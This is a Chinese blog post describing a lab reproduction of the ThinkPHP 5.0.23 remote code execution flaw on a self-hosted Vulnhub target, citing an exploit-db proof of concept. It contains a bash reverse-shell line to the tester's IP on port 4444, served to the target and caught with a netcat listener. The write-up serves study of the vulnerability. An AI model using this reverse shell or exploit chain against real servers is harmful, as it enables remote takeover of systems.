美文网首页
Vulnhub-ThinkPHP5 5.0.23 远程代码执行漏

Vulnhub-ThinkPHP5 5.0.23 远程代码执行漏

作者: M0nkeyK1ng | 来源:发表于2020-09-26 22:22 被阅读0次

郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。

漏洞简述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

准备环境

测试机IP:192.168.79.129

靶机IP:192.168.79.131

1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

漏洞复现

POC 引用:https://www.exploit-db.com/exploits/46150

准备反弹Shell文件shell.sh

bash -i >& /dev/tcp/192.168.79.129/4444 0>&1

启http server

使用NC侦听反弹端口

执行命令

得到反弹

关闭环境

相关文章

网友评论

      本文标题:Vulnhub-ThinkPHP5 5.0.23 远程代码执行漏

      本文链接:https://www.haomeiwen.com/subject/ecjhuktx.html